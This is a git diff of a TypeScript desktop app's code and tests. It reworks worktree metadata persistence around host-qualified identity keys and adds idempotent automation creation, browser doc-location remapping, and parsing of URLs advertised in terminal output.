+  scheduling: WriteSchedulingOperations,
+  worktreeId: string,
+  executionHostId: ExecutionHostId
+): WorktreeMeta | undefined {
+  const state = runtime.state
+  const changed = migrateLegacyWorktreeMetadata(state, worktreeId, executionHostId)
+  const alias = composeWorktreeHostIdentity(executionHostId, worktreeId)
+  const identityKey = resolveAliasIdentityKey(state, alias)
+  if (changed) {
+    scheduleSave(scheduling)
+  }
+  if (identityKey) {
+    return state.worktreeMetaByIdentity?.[identityKey]
+  }
+  const legacy = state.worktreeMeta[worktreeId]
+  return !legacy?.hostId || legacy.hostId === executionHostId ? legacy : undefined
+}
+
+/** Read-only host projection used by listings that must include canonical-only rows. */
+export function getAllWorktreeMetaForHost(
+  runtime: MetadataRuntime,
+  executionHostId: ExecutionHostId
+): Record<string, WorktreeMeta> {
+  const state = runtime.state
+  const projected: Record<string, WorktreeMeta> = {}
+  for (const [worktreeId, meta] of Object.entries(state.worktreeMeta)) {
+    if (!meta.hostId || meta.hostId === executionHostId) {
+      projected[worktreeId] = meta
+    }
+  }
+  for (const alias of Object.keys(state.worktreeIdentityAliases ?? {})) {
+    if (getExecutionHostIdFromWorktreeHostIdentity(alias) !== executionHostId) {
+      continue
+    }
+    const worktreeId = getWorktreeIdFromHostIdentity(alias)
+    const identityKey = resolveAliasIdentityKey(state, alias)
+    const meta = identityKey ? state.worktreeMetaByIdentity?.[identityKey] : undefined
+    if (!worktreeId || !meta || (meta.hostId && meta.hostId !== executionHostId)) {
+      continue
+    }
+    projected[worktreeId] =
+      meta.hostId === executionHostId ? meta : { ...meta, hostId: executionHostId }
+  }
+  return projected
+}
+
+export function setWorktreeMetaForHost(
+  runtime: MetadataRuntime,
+  scheduling: WriteSchedulingOperations,
+  worktreeId: string,
+  executionHostId: ExecutionHostId,
+  meta: Partial<WorktreeMeta>
+): WorktreeMeta {
+  const state = runtime.state
+  migrateLegacyWorktreeMetadata(state, worktreeId, executionHostId)
+  const alias = composeWorktreeHostIdentity(executionHostId, worktreeId)
+  const identityKeys = state.worktreeIdentityAliases?.[alias] ?? []
+  if (identityKeys.length > 1 && meta.instanceId === undefined) {
+    throw new Error('Worktree identity is ambiguous for this host and locator.')
+  }
+  const existingIdentityKey = resolveAliasIdentityKey(state, alias)
+  const existingIdentityMeta = existingIdentityKey
+    ? state.worktreeMetaByIdentity?.[existingIdentityKey]
+    : undefined
+  const legacy = state.worktreeMeta[worktreeId]
+  const existing =
+    existingIdentityMeta ??
+    (!legacy?.hostId || legacy.hostId === executionHostId ? legacy : undefined)
+  // An explicit instanceId is a deliberate rotation (see worktree-lineage-pruning), so it wins.
+  const instanceId = meta.instanceId ?? existing?.instanceId ?? randomUUID()
+  const identityKey = canonicalWorktreeIdentity({ worktreeId, executionHostId, instanceId })
+  const updated = mergeWorktreeMetaForWrite(existing, meta, {
+    instanceId,
+    hostId: executionHostId
+  })
+  state.worktreeMetaByIdentity ??= {}
+  state.worktreeIdentityAliases ??= {}
+  if (existingIdentityKey && existingIdentityKey !== identityKey) {
+    delete state.worktreeMetaByIdentity[existingIdentityKey]
+  }
+  state.worktreeMetaByIdentity[identityKey] = updated
+  state.worktreeIdentityAliases[alias] = [identityKey]
+  // Keep the legacy projection only for the first known owner.
+  if (!legacy || legacy.hostId === executionHostId) {
+    state.worktreeMeta[worktreeId] = updated
+  }
+  scheduleSave(scheduling)
+  return updated
+}
diff --git a/src/main/persistence/loading-store/worktree-meta-write-normalization.ts b/src/main/persistence/loading-store/worktree-meta-write-normalization.ts
new file mode 100644
index 00000000000..e2b8f338bdd
--- /dev/null
+++ b/src/main/persistence/loading-store/worktree-meta-write-normalization.ts
@@ -0,0 +1,55 @@
+import { randomUUID } from 'node:crypto'
+import type { ExecutionHostId } from '../../../shared/execution-host'
+import { normalizeStoredTaskSourceContext } from '../../../shared/task-source-context'
+import { normalizeWorkspaceLinkedItem } from '../../../shared/workspace-linked-item'
+import { isWorkspaceLinkedItemSourceContextMatch } from '../../../shared/workspace-linked-item-source-context'
+import { DEFAULT_WORKSPACE_STATUS_ID } from '../../../shared/workspace-statuses'
+import type { WorktreeMeta } from '../../../shared/worktree/meta-types'
+
+type WorktreeMetaIdentity = {
+  instanceId: string
+  hostId: ExecutionHostId
+}
+
+function createDefaultWorktreeMeta(): WorktreeMeta {
+  return {
+    instanceId: randomUUID(),
+    displayName: '',
+    comment: '',
+    linkedIssue: null,
+    linkedPR: null,
+    linkedLinearIssue: null,
+    linkedGitLabMR: null,
+    linkedGitLabIssue: null,
+    linkedBitbucketPR: null,
+    linkedAzureDevOpsPR: null,
+    linkedGiteaPR: null,
+    linkedWorkItem: null,
+    linkedTaskSourceContext: null,
+    isArchived: false,
+    isUnread: false,
+    isPinned: false,
+    sortOrder: Date.now(),
+    lastActivityAt: 0,
+    workspaceStatus: DEFAULT_WORKSPACE_STATUS_ID
+  }
+}
+
+/** Merge and normalize the metadata shape shared by legacy and identity-keyed writes. */
+export function mergeWorktreeMetaForWrite(
+  existing: WorktreeMeta | undefined,
+  updates: Partial<WorktreeMeta>,
+  identity?: WorktreeMetaIdentity
+): WorktreeMeta {
+  const updated = { ...(existing ?? createDefaultWorktreeMeta()), ...updates, ...identity }
+  updated.linkedWorkItem = normalizeWorkspaceLinkedItem(updated.linkedWorkItem)
+  const sourceContext = normalizeStoredTaskSourceContext(updated.linkedTaskSourceContext)
+  updated.linkedTaskSourceContext = isWorkspaceLinkedItemSourceContextMatch(
+    updated.linkedWorkItem,
+    sourceContext
+  )
+    ? sourceContext
+    : null
+  updated.instanceId ||= randomUUID()
+  return updated
+}
diff --git a/src/main/persistence/scheduling-automations/automation-definition-operations.ts b/src/main/persistence/scheduling-automations/automation-definition-operations.ts
index 3b06ad7dce9..93bb7de2cea 100644
--- a/src/main/persistence/scheduling-automations/automation-definition-operations.ts
+++ b/src/main/persistence/scheduling-automations/automation-definition-operations.ts
@@ -6,7 +6,7 @@ import type {
 } from '../../../shared/automations-types'
 import type { PersistedState } from '../../../shared/persisted-state-types'
 import { normalizeAutomationPrecheck } from '../../../shared/automation-precheck'
-import { nextAutomationOccurrenceAfter } from '../../../shared/automation-schedules'
+import { nextAutomationOccurrenceAfter } from '../../../shared/automation-schedule-occurrences'
 import {
   applyAutomationExecutionTarget,
   deriveAutomationExecutionTargetForCreate,
@@ -50,6 +50,14 @@ export function createAutomation(
   input: AutomationCreateInput,
   options?: { destination?: AutomationDestination }
 ): Automation {
+  if (input.creationKey) {
+    const existing = (operations.state.automations ?? []).find(
+      (automation) => automation.creationKey === input.creationKey
+    )
+    if (existing) {
+      return existing
+    }
+  }
   const repo = operations.state.repos.find((entry) => entry.id === input.projectId)
   const now = Date.now()
   const workspaceId = input.workspaceMode === 'existing' ? (input.workspaceId ?? null) : null
@@ -72,6 +80,7 @@ export function createAutomation(
   const contexts = getAutomationContextsForRepo(repo, operations.state.projectHostSetups ?? [])
   const automation: Automation = {
     id: randomUUID(),
+    ...(input.creationKey ? { creationKey: input.creationKey } : {}),
     name: input.name.trim() || 'Untitled automation',
     prompt: input.prompt,
     precheck: normalizeAutomationPrecheck(input.precheck),
diff --git a/src/main/persistence/scheduling-automations/automation-schedule-operations.ts b/src/main/persistence/scheduling-automations/automation-schedule-operations.ts
index d1142eb771e..2097efb4a81 100644
--- a/src/main/persistence/scheduling-automations/automation-schedule-operations.ts
+++ b/src/main/persistence/scheduling-automations/automation-schedule-operations.ts
@@ -3,7 +3,7 @@ import type { PersistedState } from '../../../shared/persisted-state-types'
 import {
   latestAutomationOccurrenceAtOrBefore,
   nextAutomationOccurrenceAfter
-} from '../../../shared/automation-schedules'
+} from '../../../shared/automation-schedule-occurrences'
 
 export function advanceAutomationNextRun(
   state: PersistedState,
diff --git a/src/main/persistence/tracking-repos/repo-worktree-pruning.ts b/src/main/persistence/tracking-repos/repo-worktree-pruning.ts
index 7032ef2ed60..f6d17b24aa2 100644
--- a/src/main/persistence/tracking-repos/repo-worktree-pruning.ts
+++ b/src/main/persistence/tracking-repos/repo-worktree-pruning.ts
@@ -4,9 +4,11 @@ import { parseWorkspaceKey } from '../../../shared/workspace-scope'
 import type { PersistedState } from '../../../shared/persisted-state-types'
 import { removeWorkspaceSessionOwners } from '../restoring-sessions/session-owner-removal'
 import {
+  getExecutionHostIdFromWorktreeHostIdentity,
   getWorktreeIdFromHostIdentity,
   isWorktreeHostIdentity
 } from '../../../shared/worktree/host-qualified-identity'
+import { pruneUnreferencedWorktreeIdentityMeta } from '../loading-store/worktree-identity-metadata'
 
 export function pruneWorktreeStateForRepo(
   state: PersistedState,
@@ -67,6 +69,14 @@ export function pruneWorktreeStateForRepo(
       delete state.worktreeMeta[key]
     }
   }
+  for (const alias of Object.keys(state.worktreeIdentityAliases ?? {})) {
+    const rawId = getWorktreeIdFromHostIdentity(alias)
+    const aliasHost = getExecutionHostIdFromWorktreeHostIdentity(alias)
+    if (rawId.startsWith(prefix) && (hostId === null || aliasHost === hostId)) {
+      delete state.worktreeIdentityAliases?.[alias]
+    }
+  }
+  pruneUnreferencedWorktreeIdentityMeta(state)
   // Why: a host-scoped prune must touch only that host's session (legacy blob = local, one partition
   // per remote host); pruning every partition would wipe a surviving host's tabs and sleeping agents
   // for a shared repo id/path. A full removal (hostId === null) still clears every host.
diff --git a/src/main/persistence/tracking-repos/worktree-identity-migration.ts b/src/main/persistence/tracking-repos/worktree-identity-migration.ts
index d9451258634..2d2fa484ad6 100644
--- a/src/main/persistence/tracking-repos/worktree-identity-migration.ts
+++ b/src/main/persistence/tracking-repos/worktree-identity-migration.ts
@@ -1,4 +1,6 @@
 import type { WorkspaceKey } from '../../../shared/folder-workspace-types'
+import type { BrowserPage, BrowserWorkspace } from '../../../shared/browser-workspace-types'
+import { remapBrowserPageDocLocation } from '../../../shared/browser-page-doc-location'
 import type { WorkspaceSessionState } from '../../../shared/workspace-session-state-types'
 import { worktreeWorkspaceKey } from '../../../shared/workspace-scope'
 import type { PersistedState } from '../../../shared/persisted-state-types'
@@ -6,6 +8,7 @@ import {
   getWorktreeIdFromHostIdentity,
   isWorktreeHostIdentity
 } from '../../../shared/worktree/host-qualified-identity'
+import { splitWorktreeIdForFilesystem } from '../../../shared/worktree/id'
 
 /**
  * Re-keys every worktreeId-keyed record in `state` from `oldWorktreeId` to `newWorktreeId`. Mutates `state` in place;
@@ -35,6 +38,23 @@ export function migrateWorktreeIdentity(
   }
   const withNewWorktreeId = <T extends { worktreeId: string }>(value: T): T =>
     value.worktreeId === oldWorktreeId ? { ...value, worktreeId: newWorktreeId } : value
+  const oldWorktreePath = splitWorktreeIdForFilesystem(oldWorktreeId)?.worktreePath
+  const newWorktreePath = splitWorktreeIdForFilesystem(newWorktreeId)?.worktreePath
+  const withNewBrowserWorktreeId = <T extends BrowserPage | BrowserWorkspace>(value: T): T => {
+    const renamedValue = withNewWorktreeId(value)
+    return value.docLocation?.worktreeId === oldWorktreeId
+      ? {
+          ...renamedValue,
+          docLocation: remapBrowserPageDocLocation(
+            value.docLocation,
+            oldWorktreeId,
+            newWorktreeId,
+            oldWorktreePath,
+            newWorktreePath
+          )
+        }
+      : renamedValue
+  }
   const migrateSession = (session: WorkspaceSessionState | undefined): boolean => {
     if (!session) {
       return false
@@ -72,16 +92,21 @@ export function migrateWorktreeIdentity(
     sessionChanged = moveSessionKey(session.activeFileIdByWorktree) || sessionChanged
     sessionChanged =
       moveSessionKey(session.browserTabsByWorktree, (workspaces) =>
-        workspaces.map(withNewWorktreeId)
+        workspaces.map(withNewBrowserWorktreeId)
       ) || sessionChanged
     if (session.browserPagesByWorkspace) {
       let pagesChanged = false
       const nextPagesByWorkspace = { ...session.browserPagesByWorkspace }
       for (const [workspaceId, pages] of Object.entries(nextPagesByWorkspace)) {
-        if (!pages.some((page) => page.worktreeId === oldWorktreeId)) {
+        if (
+          !pages.some(
+            (page) =>
+              page.worktreeId === oldWorktreeId || page.docLocation?.worktreeId === oldWorktreeId
+          )
+        ) {
           continue
         }
-        nextPagesByWorkspace[workspaceId] = pages.map(withNewWorktreeId)
+        nextPagesByWorkspace[workspaceId] = pages.map(withNewBrowserWorktreeId)
         pagesChanged = true
       }
       if (pagesChanged) {
diff --git a/src/main/persistence/tracking-repos/worktree-metadata-normalization.test.ts b/src/main/persistence/tracking-repos/worktree-metadata-normalization.test.ts
index 5886ebb7196..2bb4fe2eec9 100644
--- a/src/main/persistence/tracking-repos/worktree-metadata-normalization.test.ts
+++ b/src/main/persistence/tracking-repos/worktree-metadata-normalization.test.ts
@@ -1,7 +1,11 @@
 import { describe, expect, it } from 'vitest'
 import type { WorktreeMeta } from '../../../shared/worktree/meta-types'
 import type { PersistedState } from '../../../shared/persisted-state-types'
-import { normalizeWorktreeLinkedItemMetadata } from './worktree-metadata-normalization'
+import {
+  gcStaleWorktreeMeta,
+  normalizeWorktreeLinkedItemMetadata,
+  WORKTREE_META_GC_GRACE_MS
+} from './worktree-metadata-normalization'
 
 // Only the presence of an entry matters here; the normalizer never reads its linked-item fields.
 function makeMeta(): WorktreeMeta {
@@ -38,6 +42,99 @@ describe('normalizeWorktreeLinkedItemMetadata', () => {
     expect(normalizeWorktreeLinkedItemMetadata(state)).toBe(true)
     expect(state.workspaceLineageByChildKey).toEqual({})
   })
+  it('repairs malformed canonical metadata and alias maps', () => {
+    const state = makeState({
+      worktreeMetaByIdentity: null as unknown as PersistedState['worktreeMetaByIdentity'],
+      worktreeIdentityAliases: {
+        'local|r1::/tmp/wt': ['wt2:local:one', 'wt2:local:one', '', 42]
+      } as unknown as PersistedState['worktreeIdentityAliases']
+    })
+
+    expect(normalizeWorktreeLinkedItemMetadata(state)).toBe(true)
+    expect(state.worktreeMetaByIdentity).toEqual({})
+    // A key with no backing row is what turns the next write into an ambiguous alias, so it goes.
+    expect(state.worktreeIdentityAliases).toEqual({})
+  })
+
+  it('keeps alias keys that still resolve to a metadata row', () => {
+    const state = makeState({
+      worktreeMetaByIdentity: { 'wt2:local:one': makeMeta() },
+      worktreeIdentityAliases: { 'local|r1::/tmp/wt': ['wt2:local:one'] }
+    })
+
+    expect(normalizeWorktreeLinkedItemMetadata(state)).toBe(false)
+    expect(state.worktreeIdentityAliases).toEqual({ 'local|r1::/tmp/wt': ['wt2:local:one'] })
+  })
+
+  it('drops malformed canonical metadata entries', () => {
+    const state = makeState({
+      worktreeMetaByIdentity: {
+        valid: makeMeta(),
+        malformed: null
+      } as unknown as PersistedState['worktreeMetaByIdentity'],
+      worktreeIdentityAliases: { 'local|r1::/tmp/wt': ['valid', 'malformed'] }
+    })
+
+    expect(normalizeWorktreeLinkedItemMetadata(state)).toBe(true)
+    expect(state.worktreeMetaByIdentity).toEqual({ valid: makeMeta() })
+    expect(state.worktreeIdentityAliases).toEqual({ 'local|r1::/tmp/wt': ['valid'] })
+  })
+
+  it('preserves every host canonical row when one legacy locator row is malformed', () => {
+    const localKey = 'wt2:local:local-instance'
+    const remoteKey = 'wt2:ssh%3Abuilder:remote-instance'
+    const worktreeId = 'r1::/tmp/wt'
+    const state = makeState({
+      worktreeMeta: { [worktreeId]: null } as unknown as PersistedState['worktreeMeta'],
+      worktreeMetaByIdentity: { [localKey]: makeMeta(), [remoteKey]: makeMeta() },
+      worktreeIdentityAliases: {
+        [`local|${worktreeId}`]: [localKey],
+        [`ssh:builder|${worktreeId}`]: [remoteKey]
+      }
+    })
+
+    expect(normalizeWorktreeLinkedItemMetadata(state)).toBe(true)
+    expect(state.worktreeMeta).toEqual({})
+    expect(state.worktreeMetaByIdentity).toEqual({
+      [localKey]: makeMeta(),
+      [remoteKey]: makeMeta()
+    })
+    expect(state.worktreeIdentityAliases).toEqual({
+      [`local|${worktreeId}`]: [localKey],
+      [`ssh:builder|${worktreeId}`]: [remoteKey]
+    })
+  })
+
+  it('preserves valid canonical state when the whole legacy projection is malformed', () => {
+    const identityKey = 'wt2:ssh%3Abuilder:remote-instance'
+    const alias = 'ssh:builder|r1::/tmp/wt'
+    const state = makeState({
+      worktreeMeta: null as unknown as PersistedState['worktreeMeta'],
+      worktreeMetaByIdentity: { [identityKey]: makeMeta() },
+      worktreeIdentityAliases: { [alias]: [identityKey] }
+    })
+
+    expect(normalizeWorktreeLinkedItemMetadata(state)).toBe(true)
+    expect(state.worktreeMeta).toEqual({})
+    expect(state.worktreeMetaByIdentity).toEqual({ [identityKey]: makeMeta() })
+    expect(state.worktreeIdentityAliases).toEqual({ [alias]: [identityKey] })
+  })
+
+  it('prunes canonical metadata left unreachable by dangling-alias cleanup', () => {
+    const liveKey = 'wt2:local:live'
+    const orphanKey = 'wt2:local:orphan'
+    const state = makeState({
+      worktreeMetaByIdentity: { [liveKey]: makeMeta(), [orphanKey]: makeMeta() },
+      worktreeIdentityAliases: {
+        'local|r1::/tmp/live': [liveKey],
+        'local|r1::/tmp/dangling': ['missing-key']
+      }
+    })
+
+    expect(normalizeWorktreeLinkedItemMetadata(state)).toBe(true)
+    expect(state.worktreeMetaByIdentity).toEqual({ [liveKey]: makeMeta() })
+    expect(state.worktreeIdentityAliases).toEqual({ 'local|r1::/tmp/live': [liveKey] })
+  })
 
   it('leaves already-normalized state clean', () => {
     const state = makeState({
@@ -47,3 +144,36 @@ describe('normalizeWorktreeLinkedItemMetadata', () => {
     expect(normalizeWorktreeLinkedItemMetadata(state)).toBe(false)
   })
 })
+
+describe('gcStaleWorktreeMeta', () => {
+  it('reclaims the identity rows of a collected worktree', () => {
+    const worktreeId = 'r1::/definitely/missing/orca/path'
+    const identityKey = 'wt2:local:dead'
+    const remoteIdentityKey = 'wt2:ssh:live'
+    const state = makeState({
+      repos: [],
+      projects: [],
+      worktreeMeta: {
+        [worktreeId]: {
+          hostId: 'local',
+          instanceId: 'dead',
+          displayName: 'dead',
+          lastActivityAt: Date.now() - WORKTREE_META_GC_GRACE_MS - 1
+        } as unknown as WorktreeMeta
+      },
+      worktreeMetaByIdentity: { [identityKey]: makeMeta(), [remoteIdentityKey]: makeMeta() },
+      worktreeIdentityAliases: {
+        [`local|${worktreeId}`]: [identityKey],
+        [`ssh:conn-1|${worktreeId}`]: [remoteIdentityKey]
+      }
+    })
+
+    expect(gcStaleWorktreeMeta(state)).toBe(1)
+    // A surviving alias would re-attach this dead metadata to a worktree later
+    // created at the same repoId::path, and nothing else ever reclaims it.
+    expect(state.worktreeMetaByIdentity).toEqual({ [remoteIdentityKey]: expect.anything() })
+    expect(state.worktreeIdentityAliases).toEqual({
+      [`ssh:conn-1|${worktreeId}`]: [remoteIdentityKey]
+    })
+  })
+})
diff --git a/src/main/persistence/tracking-repos/worktree-metadata-normalization.ts b/src/main/persistence/tracking-repos/worktree-metadata-normalization.ts
index 81c6e94843e..2d5d5a647ed 100644
--- a/src/main/persistence/tracking-repos/worktree-metadata-normalization.ts
+++ b/src/main/persistence/tracking-repos/worktree-metadata-normalization.ts
@@ -15,6 +15,11 @@ import {
 } from '../../../shared/workspace-linked-item'
 import { isWorkspaceLinkedItemSourceContextMatch } from '../../../shared/workspace-linked-item-source-context'
 import type { PersistedState } from '../../../shared/persisted-state-types'
+import {
+  pruneUnreferencedWorktreeIdentityMeta,
+  removeWorktreeMetadataForHost
+} from '../loading-store/worktree-identity-metadata'
+import type { WorktreeMeta } from '../../../shared/worktree/meta-types'
 
 // Why: worktrees deleted outside Orca orphan their worktreeMeta, so the map grew monotonically (63% dead on a heavy install).
 // GC stays narrow: local-host entries only (a local existsSync would falsely condemn SSH/WSL remote paths) and only after a 30-day idle grace.
@@ -75,11 +80,35 @@ export function gcStaleWorktreeMeta(state: PersistedState): number {
     delete state.worktreeMeta[key]
     delete state.worktreeLineageById[key]
     delete state.workspaceLineageByChildKey[worktreeWorkspaceKey(key)]
+    // Identity rows are companions too: a surviving alias would re-attach this dead metadata to a
+    // worktree later created at the same repoId::path, and nothing else ever reclaims them.
+    removeWorktreeMetadataForHost(state, key, LOCAL_EXECUTION_HOST_ID)
     removed++
   }
   return removed
 }
 
+function normalizeLinkedMetadata(meta: WorktreeMeta): boolean {
+  const linkedWorkItem = normalizeWorkspaceLinkedItem(meta.linkedWorkItem)
+  const sourceContext = normalizeStoredTaskSourceContext(meta.linkedTaskSourceContext)
+  const linkedTaskSourceContext = isWorkspaceLinkedItemSourceContextMatch(
+    linkedWorkItem,
+    sourceContext
+  )
+    ? sourceContext
+    : null
+  let changed = false
+  if (!areWorkspaceLinkedItemsEqual(meta.linkedWorkItem, linkedWorkItem)) {
+    meta.linkedWorkItem = linkedWorkItem
+    changed = true
+  }
+  if (!areTaskSourceContextsEqual(meta.linkedTaskSourceContext, linkedTaskSourceContext)) {
+    meta.linkedTaskSourceContext = linkedTaskSourceContext
+    changed = true
+  }
+  return changed
+}
+
 export function normalizeWorktreeLinkedItemMetadata(state: PersistedState): boolean {
   // Why: a hand-corrupted null lineage map would throw on the companion deletes below. The repair
   // itself is dirty state — without it the map stays null on disk and is repaired again every load.
@@ -98,8 +127,7 @@ export function normalizeWorktreeLinkedItemMetadata(state: PersistedState): bool
       Object.keys(state.worktreeLineageById).length > 0 ||
       Object.keys(state.workspaceLineageByChildKey).length > 0
     state.worktreeMeta = {}
-    // Companions go with the discarded map; a stranded lineage row would otherwise re-attach to a
-    // worktree recreated at the same repoId::path.
+    // Legacy lineage belongs to the discarded locator projection; canonical host state does not.
     state.worktreeLineageById = {}
     state.workspaceLineageByChildKey = {}
     changed ||= rawWorktreeMeta !== undefined || hadLineage
@@ -109,29 +137,74 @@ export function normalizeWorktreeLinkedItemMetadata(state: PersistedState): bool
     // keeps timestamp-less keys forever and every downstream consumer trusts the Record<string, WorktreeMeta> type.
     if (typeof meta !== 'object' || meta === null || Array.isArray(meta)) {
       delete state.worktreeMeta[key]
-      // Companions go with it, matching gcStaleWorktreeMeta/removeWorktreeMeta; a stranded lineage row would
-      // otherwise re-attach to a worktree recreated at the same repoId::path.
+      // Legacy lineage belongs to this corrupt locator row; canonical host state is independent.
       delete state.worktreeLineageById[key]
       delete state.workspaceLineageByChildKey[worktreeWorkspaceKey(key)]
       changed = true
       continue
     }
-    const linkedWorkItem = normalizeWorkspaceLinkedItem(meta.linkedWorkItem)
-    const sourceContext = normalizeStoredTaskSourceContext(meta.linkedTaskSourceContext)
-    const linkedTaskSourceContext = isWorkspaceLinkedItemSourceContextMatch(
-      linkedWorkItem,
-      sourceContext
-    )
-      ? sourceContext
-      : null
-    if (!areWorkspaceLinkedItemsEqual(meta.linkedWorkItem, linkedWorkItem)) {
-      meta.linkedWorkItem = linkedWorkItem
+    changed = normalizeLinkedMetadata(meta) || changed
+  }
+  const rawIdentityMetadata = state.worktreeMetaByIdentity as unknown
+  if (
+    rawIdentityMetadata !== undefined &&
+    (typeof rawIdentityMetadata !== 'object' ||
+      rawIdentityMetadata === null ||
+      Array.isArray(rawIdentityMetadata))
+  ) {
+    state.worktreeMetaByIdentity = {}
+    changed = true
+  }
+  for (const [identityKey, meta] of Object.entries(state.worktreeMetaByIdentity ?? {})) {
+    if (typeof meta !== 'object' || meta === null || Array.isArray(meta)) {
+      delete state.worktreeMetaByIdentity?.[identityKey]
       changed = true
+      continue
     }
-    if (!areTaskSourceContextsEqual(meta.linkedTaskSourceContext, linkedTaskSourceContext)) {
-      meta.linkedTaskSourceContext = linkedTaskSourceContext
+    changed = normalizeLinkedMetadata(meta) || changed
+  }
+
+  const rawAliases = state.worktreeIdentityAliases as unknown
+  const aliasesAreObject =
+    typeof rawAliases === 'object' && rawAliases !== null && !Array.isArray(rawAliases)
+  const aliasesAreMalformed = rawAliases !== undefined && !aliasesAreObject
+  const aliasesCanProveReachability = aliasesAreObject && Object.keys(rawAliases).length > 0
+  if (aliasesAreMalformed) {
+    state.worktreeIdentityAliases = {}
+    changed = true
+  }
+  for (const [alias, rawIdentityKeys] of Object.entries(state.worktreeIdentityAliases ?? {})) {
+    if (!Array.isArray(rawIdentityKeys)) {
+      delete state.worktreeIdentityAliases?.[alias]
+      changed = true
+      continue
+    }
+    // Drop keys with no backing row: a dangling key is what turns the next write into an
+    // ambiguous alias, and nothing downstream can resolve it anyway.
+    const identityKeys = [
+      ...new Set(
+        rawIdentityKeys.filter(
+          (key): key is string =>
+            typeof key === 'string' &&
+            key.length > 0 &&
+            Boolean(state.worktreeMetaByIdentity?.[key])
+        )
+      )
+    ]
+    if (identityKeys.length === 0) {
+      delete state.worktreeIdentityAliases?.[alias]
+      changed = true
+    } else if (
+      identityKeys.length !== rawIdentityKeys.length ||
+      identityKeys.some((key, index) => key !== rawIdentityKeys[index])
+    ) {
+      state.worktreeIdentityAliases ??= {}
+      state.worktreeIdentityAliases[alias] = identityKeys
       changed = true
     }
   }
+  if (aliasesCanProveReachability) {
+    changed = pruneUnreferencedWorktreeIdentityMeta(state) || changed
+  }
   return changed
 }
diff --git a/src/main/ports/advertised-url-cache-update.ts b/src/main/ports/advertised-url-cache-update.ts
new file mode 100644
index 00000000000..210cd0c1966
--- /dev/null
+++ b/src/main/ports/advertised-url-cache-update.ts
@@ -0,0 +1,95 @@
+import {
+  cacheKey,
+  classifyHost,
+  dedupeChangeEvents,
+  formatHostForOrigin,
+  isDefaultPort,
+  isUnspecifiedHost,
+  shouldReplace,
+  worktreeIdFromCacheKey,
+  type CacheKey,
+  type ListenerScanState
+} from './advertised-url-parsing'
+import type { AdvertisedUrl, AdvertisedUrlChangeEvent } from './advertised-url-watcher'
+
+export function considerAdvertisedUrl(args: {
+  url: URL
+  ptyId: string
+  worktreeId: string
+  timestamp: number
+  cache: Map<CacheKey, AdvertisedUrl>
+  validationBaselines: Map<CacheKey, ListenerScanState>
+  startupAbsentAllowances: Set<CacheKey>
+  currentScanState: ListenerScanState | undefined
+  maxCacheEntries: number
+}): AdvertisedUrlChangeEvent[] {
+  const protocol = args.url.protocol === 'https:' ? 'https' : 'http'
+  const port = args.url.port ? Number(args.url.port) : protocol === 'https' ? 443 : 80
+  if (!Number.isFinite(port) || port <= 0 || port > 65535) {
+    return []
+  }
+  const hostname = args.url.hostname
+  if (isUnspecifiedHost(hostname)) {
+    return []
+  }
+  const candidate: AdvertisedUrl = {
+    origin: `${protocol}://${formatHostForOrigin(args.url)}${isDefaultPort(protocol, port) ? '' : `:${port}`}`,
+    host: hostname,
+    hostKind: classifyHost(hostname),
+    protocol,
+    port,
+    ptyId: args.ptyId,
+    lastSeenAt: args.timestamp
+  }
+  const key = cacheKey(args.worktreeId, port)
+  const existing = args.cache.get(key)
+  if (existing && !shouldReplace(existing, candidate)) {
+    existing.lastSeenAt = args.timestamp
+    return []
+  }
+
+  args.cache.set(key, candidate)
+  if (args.currentScanState) {
+    args.validationBaselines.set(key, args.currentScanState)
+    if (args.currentScanState.kind === 'absent') {
+      args.startupAbsentAllowances.add(key)
+    } else {
+      args.startupAbsentAllowances.delete(key)
+    }
+  } else {
+    args.validationBaselines.delete(key)
+    args.startupAbsentAllowances.add(key)
+  }
+  const changedEvents = enforceAdvertisedUrlCacheLimit(args)
+  if (!existing || existing.origin !== candidate.origin) {
+    changedEvents.push({ worktreeId: args.worktreeId, port })
+  }
+  return dedupeChangeEvents(changedEvents)
+}
+
+function enforceAdvertisedUrlCacheLimit(args: {
+  cache: Map<CacheKey, AdvertisedUrl>
+  validationBaselines: Map<CacheKey, ListenerScanState>
+  startupAbsentAllowances: Set<CacheKey>
+  maxCacheEntries: number
+}): AdvertisedUrlChangeEvent[] {
+  if (args.cache.size <= args.maxCacheEntries) {
+    return []
+  }
+  const entries = Array.from(args.cache.entries()).sort(
+    (left, right) => left[1].lastSeenAt - right[1].lastSeenAt
+  )
+  const overflow = args.cache.size - args.maxCacheEntries
+  const removedEvents: AdvertisedUrlChangeEvent[] = []
+  for (let index = 0; index < overflow; index++) {
+    const [key, entry] = entries[index]
+    args.cache.delete(key)
+    args.validationBaselines.delete(key)
+    args.startupAbsentAllowances.delete(key)
+    removedEvents.push({
+      worktreeId: worktreeIdFromCacheKey(key, entry.port),
+      port: entry.port
+    })
+  }
+  return removedEvents
+}
diff --git a/src/main/ports/advertised-url-parsing.ts b/src/main/ports/advertised-url-parsing.ts
new file mode 100644
index 00000000000..1d342e8e03b
--- /dev/null
+++ b/src/main/ports/advertised-url-parsing.ts
@@ -0,0 +1,283 @@
+/* eslint-disable no-control-regex -- Terminal control-sequence parsing intentionally matches raw control bytes. */
+import type {
+  AdvertisedUrl,
+  AdvertisedUrlChangeEvent,
+  AdvertisedUrlListenerObservation,
+  HostKind
+} from './advertised-url-watcher'
+
+const PER_PTY_BUFFER_LIMIT = 4096
+export const PENDING_PRE_BIND_LIMIT = 16 * 1024
+/** Cap on distinct never-bound PTY IDs; spawn-failure paths never bindPty, so without a bound they'd leak one entry each. */
+export const MAX_PENDING_ENTRIES = 32
+export const MAX_CACHE_ENTRIES = 256
+const URL_CANDIDATE_LIMIT = 2048
+
+// ANSI/OSC strippers mirror the runtime normalizer in src/main/runtime/orca-runtime.ts, plus URL-specific cursor-move handling to avoid fusing skipped text.
+const OSC_PATTERN = /\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)/g
+// Why: cursor moves in differential redraws skip on-screen cells; a URL-invalid guard drops the damaged candidate.
+const CURSOR_MOVE_PATTERN = /\x1b\[[0-?]*[ -/]*[CDGHf]/g
+const CURSOR_MOVE_URL_GUARD = '['
+const CSI_PATTERN = /\x1b\[[0-?]*[ -/]*[@-~]/g
+const SINGLE_ESC_PATTERN = /\x1b[@-_]/g
+const CONTROL_PATTERN = /[\x00-\x08\x0b-\x1f\x7f]/g
+
+// Permissive matcher (real validation is `new URL()` below); stops at non-URL chars so terminal punctuation isn't absorbed.
+const URL_CANDIDATE_PATTERN = /\bhttps?:\/\/[^\s<>"'`]+/gi
+
+export type CacheKey = string
